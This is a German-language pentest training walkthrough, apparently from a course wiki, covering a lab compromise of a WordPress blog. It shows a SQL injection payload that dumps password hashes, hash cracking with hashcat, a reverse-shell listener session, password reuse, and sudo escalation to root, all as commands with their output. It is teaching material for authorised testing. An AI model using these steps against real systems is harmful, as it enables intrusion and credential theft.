Über die SQL-Injection im Blog der Oblivius Education Inc. konnte nicht nur die Datenbankversion ermittelt, sondern jeglicher Datenbankinhalt extrahiert werden. Es konnten beispielsweise die WordPress-Benutzer und ihre Passworthashes über den SQL-Befehl 1 union select group_concat(user_login,user_pass) from wp_users -- im topic-Parameter ausgelesen werden:

admin$P$B1pBMSBYvW7wZVnwPJeBybzaBdMOXA/

Die erfolgreiche Rekonstruktion des Passworts anhand des o. a. Hashs war der Durchbruch, um sich als Administrator im Blog anmelden zu können:

~$ hashcat -m 400 -a 0 wp-hashes.txt /usr/share/wordlists/rockyou.txt –force  
[..] 

$P$B1pBMSBYvW7wZVnwPJeBybzaBdMOXA/:*sexy_sara  

Session..........: hashcat 
Status...........: Cracked 
Hash.Type........: phpass, WordPress (MD5), phpBB3 (MD5), Joomla (MD5) 
Hash.Target......: $P$B1pBMSBYvW7wZVnwPJeBybzaBdMOXA/ 
Time.Started.....: Wed Jan 17 08:03:26 2018 
Time.Estimated...: Wed Jan 17 08:35:19 2018 
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) 
Guess.Queue......: 1/1 (100.00%) 
[..]

Nach Rücksprache mit dem Auftraggeber sollte auf den Ergebnissen aufbauend versucht werden, weiter in das IT-System bzw. in das Netzwerk vorzudringen. Da über die Administratorenoberfläche Plugins bearbeitet werden können, haben wir an dieser Stelle PHP-Code platziert, um uns eine reverse shell vom Zielsystem zu beschaffen:

~$ nc -lvp 4444  
listening on [any] 4444 ... 
10.222.1.38: inverse host lookup failed: Unknown host 
connect to [10.222.1.23] from (UNKNOWN) [10.222.1.38] 51013  
python -c ’import pty; pty.spawn("/bin/bash")’ 
www-data@blog:/var/www/wp-admin$

Ausgehend von unserer Shell vom Blog der Oblivius Education Inc., hatten wir nun unprivilegierten Zugriff auf das IT-System. Eine nähere Analyse der Systemkonfiguration deckte im Anschluss einen Systembenutzer namens Sara Watts auf, die für ihren Benutzeraccount dasselbe Passwort vergeben hatte wie der WordPress-Administrator zuvor. Zudem hatte dieser Systembenutzer uneingeschränkten Zugriff (root-Berechtigung). Mit Aufdeckung dieser Informationen galt unser Zielsystem endgültig als kompromittiert.

www-data@blog:/var/www/wp-admin$ cat /etc/passwd  
root:x:0:0:root:/root:/bin/bash 
[..] 
sw:x:1000:1000:Sara Watts„,:/home/sw:/bin/bash  
[..] 

www-data@blog:/var/www/wp-admin$ su sw  
Password: *sexy_sara  

sw@blog:/var/www/wp-admin$ sudo -l  
Matching Defaults entries for sw on this host: 
    env_reset, mail_badpass, 
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin 

User sw may run the following commands on this host: 
    (ALL : ALL) NOPASSWD: ALL  

sw@blog:/var/www/wp-admin$ sudo su  

root@blog:/var/www/wp-admin# id  
uid=0(root) gid=0(root) groups=0(root)

Im Hinblick auf unsere Aufgabenstellung als Pentester der Dubius Payment Ltd. sollten wir an dieser Stelle nicht vergessen, dass jedes Zielsystem Informationen über weitere Netzbereiche offenbaren könnte.

Letzte Änderung: 2022-12-15

Kursinformationen Penetrationstest

Über das Pentest Training

Entdecken Sie die Welt des Penetration Testing. Lernen Sie Netzwerke zu infiltrieren sowie erfolgreich Systeme und Anwendungen zu penetrieren. Eignen Sie sich das notwendige Hacking-Handwerkszeug an und setzen Sie es bei der Durchführung von profesionellen Penetrationstest ein. Werden Sie zum Penetrationstester. Hier finden Sie die öffentlichen und kostenlosen Unterlagen zum Pentest Training der binsec academy GmbH. Die binsec academy GmbH bietet die dazugehörigen virtuellen Labor-Umgebungen und Zertifizierungen an. Das vermittelte Wissen zu Hacking and Penetration Testing ist aber allgemeingültig.

Über binsec academy GmbH

Die binsec academy GmbH ist der europäische Anbieter für Online Security Trainings mit virtuellen Labor-Umgebungen. Kernbestandteil aller Security Trainings ist die Vermittlung von Praxis, Praxis und nochmals Praxis. Im Wiki finden Sie hier die öffentlichen und frei verfügbaren Kurs-Materialien. Die Theorie in die Praxis umsetzen, können sie auf binsec-academy.com.